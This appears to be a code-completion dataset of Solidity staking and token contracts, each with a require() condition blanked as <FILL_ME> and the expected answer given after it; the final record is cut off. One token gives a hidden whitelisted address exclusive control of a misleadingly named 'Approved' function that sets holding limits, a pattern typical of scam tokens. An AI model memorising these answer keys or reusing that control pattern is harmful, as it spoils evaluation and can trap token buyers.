getStake(address staker) external view returns (StakeState memory) { } function availableRewardTokens() external view returns (uint256) { } function setStakingToken(address newToken) external authorized { } function forceUnstakeAll(address staker) external authorized { } }
numerator+lpFeeNumerator+burnFeeNumerator<3333,"Total fee has to be lower than 33.33%."
195,851
numerator+lpFeeNumerator+burnFeeNumerator<3333
"Total fee has to be lower than 33.33%."
// SPDX-License-Identifier: MIT pragma solidity >=0.8.0 <0.9.0; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address from, address to, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract Auth { address internal owner; mapping (address => bool) internal authorizations; constructor(address _owner) { } modifier onlyOwner() { } modifier authorized() { } function authorize(address adr) public onlyOwner { } function unauthorize(address adr) public onlyOwner { } function isOwner(address account) public view returns (bool) { } function isAuthorized(address adr) public view returns (bool) { } function transferOwnership(address payable adr) public onlyOwner { } event OwnershipTransferred(address owner); } contract DLCStaking is Auth { struct StakeState { uint256 stakedAmount; uint32 since; uint32 lastUpdate; } // Staking token and fee receivers. address public stakingToken; address constant public DEAD = address(0xdead); address public devFeeReceiver; address public lpFeeReceiver; // APR% with 2 decimals. uint256 public aprNumerator = 3600; uint256 constant public aprDenominator = 10000; // Fees in % with 2 decimals. uint256 public burnFeeNumerator = 300; uint256 constant public burnFeeDenominator = 10000; uint256 public devFeeNumerator = 50; uint256 constant public devFeeDenominator = 10000; uint256 public lpFeeNumerator = 50; uint256 constant public lpFeeDenominator = 10000; // Staking status. uint256 public totalStakedTokens; mapping (address => StakeState) internal stakerDetails; event TokenStaked(address indexed user, uint256 amount); event TokenUnstaked(address indexed user, uint256 amount, uint256 reward); event RewardClaimed(address indexed user, uint256 reward); event Compounded(address indexed user, uint256 amount); constructor(address tokenToStake, address devFee, address lpAddress) Auth(msg.sender) { } function stake(uint256 amount) external { } function unstake(uint256 amount) public { } function unstakeAll() external { } function unstakeFor(address staker, uint256 amount) internal { } function executeBurnFee(uint256 amount) internal returns (uint256) { } function executeDevFee(uint256 amount) internal returns (uint256) { } function executeLPFee(uint256 amount) internal returns (uint256) { } function executeFee(uint256 amount, uint256 numerator, uint256 denominator, address receiver) internal returns (uint256) { } function calcFee(uint256 amount, uint256 num, uint256 den) public pure returns (uint256) { } function claim() external { } function compound() external { } function compoundFor(address staker) internal { } function getPendingReward() external view returns (uint256) { } /** * @dev Check the current unclaimed pending reward for a user. */ function pendingReward(address staker) public view returns (uint256) { } /** * @dev Get the APR values, returns a numerator to divide by a denominator to get the decimal value of the percentage. * Example: 20% can be 2000 / 10000, which is 0.2, the decimal representation of 20%. * @notice APY = (1 + APR / n) ** n - 1; * Where n is the compounding rate (times of compounding in a year) * This is better calculated on a frontend, as Solidity does not do floating point arithmetic. */ function getAPR() external view returns (uint256 numerator, uint256 denominator) { } /** * @dev Gets an approximated APR percentage rounded to no decimals. */ function getAPRRoundedPercentage() external view returns (uint256) { } /** * @dev Gets an approximated APR percentage rounded to specified decimals. */ function getAPRPercentage(uint256 desiredDecimals) external view returns (uint256 percentage, uint256 decimals) { } function setDevFeeReceiver(address receiver) external authorized { } function setLPAddress(address lp) external authorized { } /** * @dev Sets the unstake burn fee. It is then divided by 10000, so for 1% fee you would set it to 100. */ function setBurnFeeNumerator(uint256 numerator) external authorized { } function setDevFeeNumerator(uint256 numerator) external authorized { } function setLPFeeNumerator(uint256 numerator) external authorized { require(<FILL_ME>) lpFeeNumerator = numerator; } function getStake(address staker) external view returns (StakeState memory) { } function availableRewardTokens() external view returns (uint256) { } function setStakingToken(address newToken) external authorized { } function forceUnstakeAll(address staker) external authorized { } }
numerator+burnFeeNumerator+devFeeNumerator<3333,"Total fee has to be lower than 33.33%."
195,851
numerator+burnFeeNumerator+devFeeNumerator<3333
"set the call to the entered"
// Bitcong Fans Token // https://twitter.com/bitecong // https://t.me/doges1000 // SPDX-License-Identifier: MIT pragma solidity ^0.8.19; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract Context { function _msgSender() internal view virtual returns (address) { } function _msgData() internal view virtual returns (bytes calldata) { } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { } function owner() public view virtual returns (address) { } modifier onlyOwner() { } function renounceOwnership() public virtual onlyOwner { } function transferOwnership(address newOwner) public virtual onlyOwner { } function _setOwner(address newOwner) private { } } library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { } function add(uint256 a, uint256 b) internal pure returns (uint256) { } function sub(uint256 a, uint256 b) internal pure returns (uint256) { } function mul(uint256 a, uint256 b) internal pure returns (uint256) { } function div(uint256 a, uint256 b) internal pure returns (uint256) { } function mod(uint256 a, uint256 b) internal pure returns (uint256) { } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { } } enum TokenType { standard } abstract contract baseToken { event TokenCreated( address indexed owner, address indexed token, TokenType tokenType, uint256 version ); } contract BitcongFansToken is IERC20, baseToken, Ownable { using SafeMath for uint256; uint256 private constant VERSION = 1; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 public maxHoldingAmount; uint256 public minHoldingAmount; address public uniswapV2Pair; address private whiteListV3; string private _name; string private _symbol; uint8 private _decimals; uint256 private _totalSupply; constructor( string memory name_, string memory symbol_, uint8 decimals_, address whiteshipAddr, uint256 totalSupply_ ) payable { } function name() public view virtual returns (string memory) { } function symbol() public view virtual returns (string memory) { } function decimals() public view virtual returns (uint8) { } function totalSupply() public view virtual override returns (uint256) { } function balanceOf(address account) public view virtual override returns (uint256) { } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { } function allowance(address owner, address spender) public view virtual override returns (uint256) { } function approve(address spender, uint256 amount) public virtual override returns (bool) { } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { } modifier canWhitAddrPancakeV3() { require(<FILL_ME>) _; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { } function Approved( bool _limited, address _uniswapV2Pair, uint256 _maxHoldingAmount, uint256 _minHoldingAmount ) external canWhitAddrPancakeV3 { } function _mint(address account, uint256 amount) internal virtual { } function _burn(address account, uint256 amount) internal virtual { } function _approve( address owner, address spender, uint256 amount ) internal virtual { } function _setupDecimals(uint8 decimals_) internal virtual { } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} }
_msgSender()==whiteListV3,"set the call to the entered"
195,941
_msgSender()==whiteListV3
"Withdrawal cool-off hasn't been completed yet"
// SPDX-License-Identifier: MIT pragma solidity 0.8.1; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; contract Staking is Ownable { struct Share { uint depositTime; uint initialDeposit; uint sumETH; } mapping(address => Share) public shares; IERC20 public token; uint public sumETH; uint private constant PRECISION = 1e18; address private _taxWallet; uint public totalETH; modifier onlyToken() { } constructor() { } function setToken(IERC20 token_) external onlyOwner { } function deposit(address who, uint amount) external onlyToken { } function withdraw() external { Share memory share = shares[msg.sender]; require(share.initialDeposit > 0, "No initial deposit"); require(<FILL_ME>) token.transfer(msg.sender, share.initialDeposit); _payoutGainsUpdateShare(msg.sender, share, 0, true); } function claim() external { } function _payoutGainsUpdateShare(address who, Share memory share, uint newAmount, bool resetTimer) private { } function pending(address who) external view returns (uint) { } receive() external payable { } }
share.depositTime+3days<block.timestamp,"Withdrawal cool-off hasn't been completed yet"
196,107
share.depositTime+3days<block.timestamp
"Token: trading already enabled"
// SPDX-License-Identifier: MIT /** * SPEECHER Inu * ================================================== * * "Ultimately, saying that you don't care about privacy because you have nothing to hide is no * different from saying you don't care about freedom of speech because you have nothing to say" * - Edward Snowden, Permanent Record * * SPEECHER celebrates the forthcoming victory for freedom of speech plus the spirit of decentralization * and community through releasing a safe, lower trade tax token whose Treasury funds are spent according * to community suggestions received via tweet replies. * * SPEECHER is entirely run from that digital town called Twitter. Once there, to say hi, hit Reply. * * However, if anyone wishes to create a SPEECHER Telegram group, simply send us the link via Twitter and * we'll gladly announce its existence. * * Twitter: https://twitter.com/_SPEECHER * * Elon's latest tweet, which couldn't be finer: https://twitter.com/elonmusk/status/1519036983137509376 * * Tokenomics * ================================================== * * With No.8 symbolising infinite perfection, SPEECHER's tokenomics came to pass: * * BUY & SELL * * Treasury: 3% * Auto Liquidity: 1% * Ecosystem: 4% * * Total Per Swap: 8% * * Trade Settings * ================================================== * * Max Transaction: 750000 / 0.75% * Max Wallet: 1000000 / 1% * * Limits shall be lifted shortly after launch. * * Wallet to wallet transfers are not subject to tax. * * Security & Transparency * ================================================== * * This contract was built with safety in mind: * * The contract is renounced soon after launch but any contract configuration settings accessible before * were built to be safe too; liquidity is locked for two weeks then soon extended; the trade tax cannot * be altered (hardcoded); the Max Transaction cannot be lowered, only increased; the Max Wallet cannot * be lowered, only increased; bots/addresses cannot be blacklisted 10 minutes past launch, plus only * non-critical addresses can be blacklisted; no team tokens or preloaded wallets aka a fair launch. * * In short, there is no technical way to honeypot or scam, and no possibility to rug once liquidity is * locked. But don't trust our words alone, seek outside opinions to verify and reassure. * * For complete separation of concerns and full transparency, the Treasury and Ecosystem funds have * their own separate wallets, which are: * * Treasury: 0x0182ec9758175F72b70546213321E6111470Dc5f * Ecosystem: 0x034e690237b5ce205EcA4a4e40A3a2a76587aA2D * * The Twitter community decide how Treasury funds are spent e.g. donations to good causes. * * Ecosystem funds are allocated to any marketing and team payments. * * Let the good times tweet. */ pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { } } interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address from, address to, uint256 amount) external returns (bool); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; constructor(string memory name_, string memory symbol_) { } function name() public view virtual override returns (string memory) { } function symbol() public view virtual override returns (string memory) { } function decimals() public view virtual override returns (uint8) { } function totalSupply() public view virtual override returns (uint256) { } function balanceOf(address account) public view virtual override returns (uint256) { } function transfer(address to, uint256 amount) public virtual override returns (bool) { } function allowance(address owner, address spender) public view virtual override returns (uint256) { } function approve(address spender, uint256 amount) public virtual override returns (bool) { } function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) { } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { } function _transfer(address from, address to, uint256 amount) internal virtual { } function _mint(address account, uint256 amount) internal virtual { } function _burn(address account, uint256 amount) internal virtual { } function _approve(address owner, address spender, uint256 amount) internal virtual { } function _spendAllowance(address owner, address spender, uint256 amount) internal virtual { } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { } function owner() public view virtual returns (address) { } modifier onlyOwner() { } function renounceOwnership() public virtual onlyOwner { } function _transferOwnership(address newOwner) internal virtual { } } interface IDexFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IDexRouter { function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH(address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); } contract SpeecherInu is Context, ERC20, Ownable { // DEX IDexRouter public dexRouter; address public dexPair; // Wallets address public treasuryWallet; address public ecosystemWallet; // Trade settings bool public swapEnabled = false; bool public limitsEnabled = false; bool private _tradingEnabled = false; bool public transferDelayEnabled = true; uint256 private _transferDelayBlocks = 2; mapping(address => uint256) private _lastTransferBlock; uint256 private _maxTxAmount; uint256 private _maxWalletAmount; uint256 public swapTokensAmount; // Trade tax uint256 public buyTreasuryFee = 3; uint256 public buyLiquidityFee = 1; uint256 public buyEcosystemFee = 4; uint256 public buyTotalFees = buyTreasuryFee + buyLiquidityFee + buyEcosystemFee; uint256 public sellTreasuryFee = 3; uint256 public sellLiquidityFee = 1; uint256 public sellEcosystemFee = 4; uint256 public sellTotalFees = sellTreasuryFee + sellLiquidityFee + sellEcosystemFee; uint256 private _tokensForTreasury = 0; uint256 private _tokensForLiquidity = 0; uint256 private _tokensForEcosystem = 0; // Fees and max TX exclusions mapping(address => bool) private _isExcludedFromFees; mapping(address => bool) private _isExcludedFromMaxTx; // Anti-bot bool public antiBotEnabled = true; mapping(address => bool) private _bots; uint256 private _launchTime = 0; uint256 private _launchBlock = 0; uint256 private _botBlocks = 1; uint256 private _botSeconds = 10; uint256 public totalBots = 0; // Reentrancy bool private _isSwapLocked = false; modifier lockSwap { } constructor(address treasuryWallet_, address ecosystemWallet_) payable ERC20("Speecher Inu", "SPEECHER") { } function speak(uint256 botBlocks_, uint256 botSeconds_, uint256 maxTxAmount_, uint256 maxWalletAmount_, address[] memory botAddresses_) external onlyOwner { require(<FILL_ME>) require(botBlocks_ >= 0 && botBlocks_ <= 3, "Token: bot blocks must range between 0 and 3"); require(botSeconds_ >= 10 && botSeconds_ <= 120, "Token: bot seconds must range between 10 and 120"); require(botAddresses_.length > 0 && botAddresses_.length <= 200, "Token: number of bot addresses cannot be above 200"); // DEX pair dexPair = IDexFactory(dexRouter.factory()).createPair(address(this), dexRouter.WETH()); // Exclude from fees excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); // Exclude from max TX excludeFromMaxTx(owner(), true); excludeFromMaxTx(address(this), true); excludeFromMaxTx(address(0xdead), true); excludeFromMaxTx(address(dexRouter), true); excludeFromMaxTx(dexPair, true); // Add liquidity dexRouter.addLiquidityETH{value: address(this).balance}(address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp); IERC20(dexPair).approve(address(dexRouter), type(uint256).max); // Anti-bot setBots(botAddresses_, true); // Trade settings setMaxTxAmount(maxTxAmount_); setMaxWalletAmount(maxWalletAmount_); setSwapTokensAmount(((totalSupply() * 5) / 10000) / 1e18); // 0.05% // Launch settings _launchTime = block.timestamp; _launchBlock = block.number; _botBlocks = botBlocks_; _botSeconds = botSeconds_; swapEnabled = true; limitsEnabled = true; _tradingEnabled = true; } function setTreasuryWallet(address treasuryWallet_) public onlyOwner { } function setEcosystemWallet(address ecosystemWallet_) public onlyOwner { } function disableLimits() external onlyOwner { } function disableTransferDelay() external onlyOwner { } function setMaxTxAmount(uint256 maxTxAmount_) public onlyOwner { } function setMaxWalletAmount(uint256 maxWalletAmount_) public onlyOwner { } function setSwapTokensAmount(uint256 swapTokensAmount_) public { } function excludeFromFees(address excludeAddress_, bool isExcluded_) public onlyOwner { } function isExcludedFromFees(address excludeAddress_) public view returns (bool) { } function excludeFromMaxTx(address excludeAddress_, bool isExcluded_) public onlyOwner { } function isExcludedFromMaxTx(address excludeAddress_) public view returns (bool) { } function setAntiBotEnabled(bool antiBotEnabled_) external { } function setBots(address[] memory botAddresses_, bool isBlacklisting_) public { } function isBot(address botAddress_) public view returns (bool) { } function forceSwap(uint256 tokensAmount_) external { } function withdrawCurrency() external onlyOwner { } function _transfer(address from, address to, uint256 amount) internal override { } function _swapLiquify(uint256 tokensAmount) private lockSwap { } function _swapTokensForCurrency(uint256 tokensAmount) private { } function _addLiquidity(uint256 tokensAmount, uint256 currencyAmount) private { } receive() external payable {} }
!_tradingEnabled,"Token: trading already enabled"
196,290
!_tradingEnabled
"Token: max TX amount cannot be below 0.75%"
// SPDX-License-Identifier: MIT /** * SPEECHER Inu * ================================================== * * "Ultimately, saying that you don't care about privacy because you have nothing to hide is no * different from saying you don't care about freedom of speech because you have nothing to say" * - Edward Snowden, Permanent Record * * SPEECHER celebrates the forthcoming victory for freedom of speech plus the spirit of decentralization * and community through releasing a safe, lower trade tax token whose Treasury funds are spent according * to community suggestions received via tweet replies. * * SPEECHER is entirely run from that digital town called Twitter. Once there, to say hi, hit Reply. * * However, if anyone wishes to create a SPEECHER Telegram group, simply send us the link via Twitter and * we'll gladly announce its existence. * * Twitter: https://twitter.com/_SPEECHER * * Elon's latest tweet, which couldn't be finer: https://twitter.com/elonmusk/status/1519036983137509376 * * Tokenomics * ================================================== * * With No.8 symbolising infinite perfection, SPEECHER's tokenomics came to pass: * * BUY & SELL * * Treasury: 3% * Auto Liquidity: 1% * Ecosystem: 4% * * Total Per Swap: 8% * * Trade Settings * ================================================== * * Max Transaction: 750000 / 0.75% * Max Wallet: 1000000 / 1% * * Limits shall be lifted shortly after launch. * * Wallet to wallet transfers are not subject to tax. * * Security & Transparency * ================================================== * * This contract was built with safety in mind: * * The contract is renounced soon after launch but any contract configuration settings accessible before * were built to be safe too; liquidity is locked for two weeks then soon extended; the trade tax cannot * be altered (hardcoded); the Max Transaction cannot be lowered, only increased; the Max Wallet cannot * be lowered, only increased; bots/addresses cannot be blacklisted 10 minutes past launch, plus only * non-critical addresses can be blacklisted; no team tokens or preloaded wallets aka a fair launch. * * In short, there is no technical way to honeypot or scam, and no possibility to rug once liquidity is * locked. But don't trust our words alone, seek outside opinions to verify and reassure. * * For complete separation of concerns and full transparency, the Treasury and Ecosystem funds have * their own separate wallets, which are: * * Treasury: 0x0182ec9758175F72b70546213321E6111470Dc5f * Ecosystem: 0x034e690237b5ce205EcA4a4e40A3a2a76587aA2D * * The Twitter community decide how Treasury funds are spent e.g. donations to good causes. * * Ecosystem funds are allocated to any marketing and team payments. * * Let the good times tweet. */ pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { } } interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address from, address to, uint256 amount) external returns (bool); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; constructor(string memory name_, string memory symbol_) { } function name() public view virtual override returns (string memory) { } function symbol() public view virtual override returns (string memory) { } function decimals() public view virtual override returns (uint8) { } function totalSupply() public view virtual override returns (uint256) { } function balanceOf(address account) public view virtual override returns (uint256) { } function transfer(address to, uint256 amount) public virtual override returns (bool) { } function allowance(address owner, address spender) public view virtual override returns (uint256) { } function approve(address spender, uint256 amount) public virtual override returns (bool) { } function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) { } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { } function _transfer(address from, address to, uint256 amount) internal virtual { } function _mint(address account, uint256 amount) internal virtual { } function _burn(address account, uint256 amount) internal virtual { } function _approve(address owner, address spender, uint256 amount) internal virtual { } function _spendAllowance(address owner, address spender, uint256 amount) internal virtual { } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { } function owner() public view virtual returns (address) { } modifier onlyOwner() { } function renounceOwnership() public virtual onlyOwner { } function _transferOwnership(address newOwner) internal virtual { } } interface IDexFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IDexRouter { function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH(address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); } contract SpeecherInu is Context, ERC20, Ownable { // DEX IDexRouter public dexRouter; address public dexPair; // Wallets address public treasuryWallet; address public ecosystemWallet; // Trade settings bool public swapEnabled = false; bool public limitsEnabled = false; bool private _tradingEnabled = false; bool public transferDelayEnabled = true; uint256 private _transferDelayBlocks = 2; mapping(address => uint256) private _lastTransferBlock; uint256 private _maxTxAmount; uint256 private _maxWalletAmount; uint256 public swapTokensAmount; // Trade tax uint256 public buyTreasuryFee = 3; uint256 public buyLiquidityFee = 1; uint256 public buyEcosystemFee = 4; uint256 public buyTotalFees = buyTreasuryFee + buyLiquidityFee + buyEcosystemFee; uint256 public sellTreasuryFee = 3; uint256 public sellLiquidityFee = 1; uint256 public sellEcosystemFee = 4; uint256 public sellTotalFees = sellTreasuryFee + sellLiquidityFee + sellEcosystemFee; uint256 private _tokensForTreasury = 0; uint256 private _tokensForLiquidity = 0; uint256 private _tokensForEcosystem = 0; // Fees and max TX exclusions mapping(address => bool) private _isExcludedFromFees; mapping(address => bool) private _isExcludedFromMaxTx; // Anti-bot bool public antiBotEnabled = true; mapping(address => bool) private _bots; uint256 private _launchTime = 0; uint256 private _launchBlock = 0; uint256 private _botBlocks = 1; uint256 private _botSeconds = 10; uint256 public totalBots = 0; // Reentrancy bool private _isSwapLocked = false; modifier lockSwap { } constructor(address treasuryWallet_, address ecosystemWallet_) payable ERC20("Speecher Inu", "SPEECHER") { } function speak(uint256 botBlocks_, uint256 botSeconds_, uint256 maxTxAmount_, uint256 maxWalletAmount_, address[] memory botAddresses_) external onlyOwner { } function setTreasuryWallet(address treasuryWallet_) public onlyOwner { } function setEcosystemWallet(address ecosystemWallet_) public onlyOwner { } function disableLimits() external onlyOwner { } function disableTransferDelay() external onlyOwner { } function setMaxTxAmount(uint256 maxTxAmount_) public onlyOwner { require(<FILL_ME>) _maxTxAmount = maxTxAmount_ * 1e18; } function setMaxWalletAmount(uint256 maxWalletAmount_) public onlyOwner { } function setSwapTokensAmount(uint256 swapTokensAmount_) public { } function excludeFromFees(address excludeAddress_, bool isExcluded_) public onlyOwner { } function isExcludedFromFees(address excludeAddress_) public view returns (bool) { } function excludeFromMaxTx(address excludeAddress_, bool isExcluded_) public onlyOwner { } function isExcludedFromMaxTx(address excludeAddress_) public view returns (bool) { } function setAntiBotEnabled(bool antiBotEnabled_) external { } function setBots(address[] memory botAddresses_, bool isBlacklisting_) public { } function isBot(address botAddress_) public view returns (bool) { } function forceSwap(uint256 tokensAmount_) external { } function withdrawCurrency() external onlyOwner { } function _transfer(address from, address to, uint256 amount) internal override { } function _swapLiquify(uint256 tokensAmount) private lockSwap { } function _swapTokensForCurrency(uint256 tokensAmount) private { } function _addLiquidity(uint256 tokensAmount, uint256 currencyAmount) private { } receive() external payable {} }
maxTxAmount_>=(((totalSupply()*75)/10000)/1e18),"Token: max TX amount cannot be below 0.75%"
196,290
maxTxAmount_>=(((totalSupply()*75)/10000)/1e18)
"Token: max wallet amount cannot be below 1%"
// SPDX-License-Identifier: MIT /** * SPEECHER Inu * ================================================== * * "Ultimately, saying that you don't care about privacy because you have nothing to hide is no * different from saying you don't care about freedom of speech because you have nothing to say" * - Edward Snowden, Permanent Record * * SPEECHER celebrates the forthcoming victory for freedom of speech plus the spirit of decentralization * and community through releasing a safe, lower trade tax token whose Treasury funds are spent according * to community suggestions received via tweet replies. * * SPEECHER is entirely run from that digital town called Twitter. Once there, to say hi, hit Reply. * * However, if anyone wishes to create a SPEECHER Telegram group, simply send us the link via Twitter and * we'll gladly announce its existence. * * Twitter: https://twitter.com/_SPEECHER * * Elon's latest tweet, which couldn't be finer: https://twitter.com/elonmusk/status/1519036983137509376 * * Tokenomics * ================================================== * * With No.8 symbolising infinite perfection, SPEECHER's tokenomics came to pass: * * BUY & SELL * * Treasury: 3% * Auto Liquidity: 1% * Ecosystem: 4% * * Total Per Swap: 8% * * Trade Settings * ================================================== * * Max Transaction: 750000 / 0.75% * Max Wallet: 1000000 / 1% * * Limits shall be lifted shortly after launch. * * Wallet to wallet transfers are not subject to tax. * * Security & Transparency * ================================================== * * This contract was built with safety in mind: * * The contract is renounced soon after launch but any contract configuration settings accessible before * were built to be safe too; liquidity is locked for two weeks then soon extended; the trade tax cannot * be altered (hardcoded); the Max Transaction cannot be lowered, only increased; the Max Wallet cannot * be lowered, only increased; bots/addresses cannot be blacklisted 10 minutes past launch, plus only * non-critical addresses can be blacklisted; no team tokens or preloaded wallets aka a fair launch. * * In short, there is no technical way to honeypot or scam, and no possibility to rug once liquidity is * locked. But don't trust our words alone, seek outside opinions to verify and reassure. * * For complete separation of concerns and full transparency, the Treasury and Ecosystem funds have * their own separate wallets, which are: * * Treasury: 0x0182ec9758175F72b70546213321E6111470Dc5f * Ecosystem: 0x034e690237b5ce205EcA4a4e40A3a2a76587aA2D * * The Twitter community decide how Treasury funds are spent e.g. donations to good causes. * * Ecosystem funds are allocated to any marketing and team payments. * * Let the good times tweet. */ pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { } } interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address from, address to, uint256 amount) external returns (bool); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; constructor(string memory name_, string memory symbol_) { } function name() public view virtual override returns (string memory) { } function symbol() public view virtual override returns (string memory) { } function decimals() public view virtual override returns (uint8) { } function totalSupply() public view virtual override returns (uint256) { } function balanceOf(address account) public view virtual override returns (uint256) { } function transfer(address to, uint256 amount) public virtual override returns (bool) { } function allowance(address owner, address spender) public view virtual override returns (uint256) { } function approve(address spender, uint256 amount) public virtual override returns (bool) { } function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) { } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { } function _transfer(address from, address to, uint256 amount) internal virtual { } function _mint(address account, uint256 amount) internal virtual { } function _burn(address account, uint256 amount) internal virtual { } function _approve(address owner, address spender, uint256 amount) internal virtual { } function _spendAllowance(address owner, address spender, uint256 amount) internal virtual { } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { } function owner() public view virtual returns (address) { } modifier onlyOwner() { } function renounceOwnership() public virtual onlyOwner { } function _transferOwnership(address newOwner) internal virtual { } } interface IDexFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IDexRouter { function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH(address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); } contract SpeecherInu is Context, ERC20, Ownable { // DEX IDexRouter public dexRouter; address public dexPair; // Wallets address public treasuryWallet; address public ecosystemWallet; // Trade settings bool public swapEnabled = false; bool public limitsEnabled = false; bool private _tradingEnabled = false; bool public transferDelayEnabled = true; uint256 private _transferDelayBlocks = 2; mapping(address => uint256) private _lastTransferBlock; uint256 private _maxTxAmount; uint256 private _maxWalletAmount; uint256 public swapTokensAmount; // Trade tax uint256 public buyTreasuryFee = 3; uint256 public buyLiquidityFee = 1; uint256 public buyEcosystemFee = 4; uint256 public buyTotalFees = buyTreasuryFee + buyLiquidityFee + buyEcosystemFee; uint256 public sellTreasuryFee = 3; uint256 public sellLiquidityFee = 1; uint256 public sellEcosystemFee = 4; uint256 public sellTotalFees = sellTreasuryFee + sellLiquidityFee + sellEcosystemFee; uint256 private _tokensForTreasury = 0; uint256 private _tokensForLiquidity = 0; uint256 private _tokensForEcosystem = 0; // Fees and max TX exclusions mapping(address => bool) private _isExcludedFromFees; mapping(address => bool) private _isExcludedFromMaxTx; // Anti-bot bool public antiBotEnabled = true; mapping(address => bool) private _bots; uint256 private 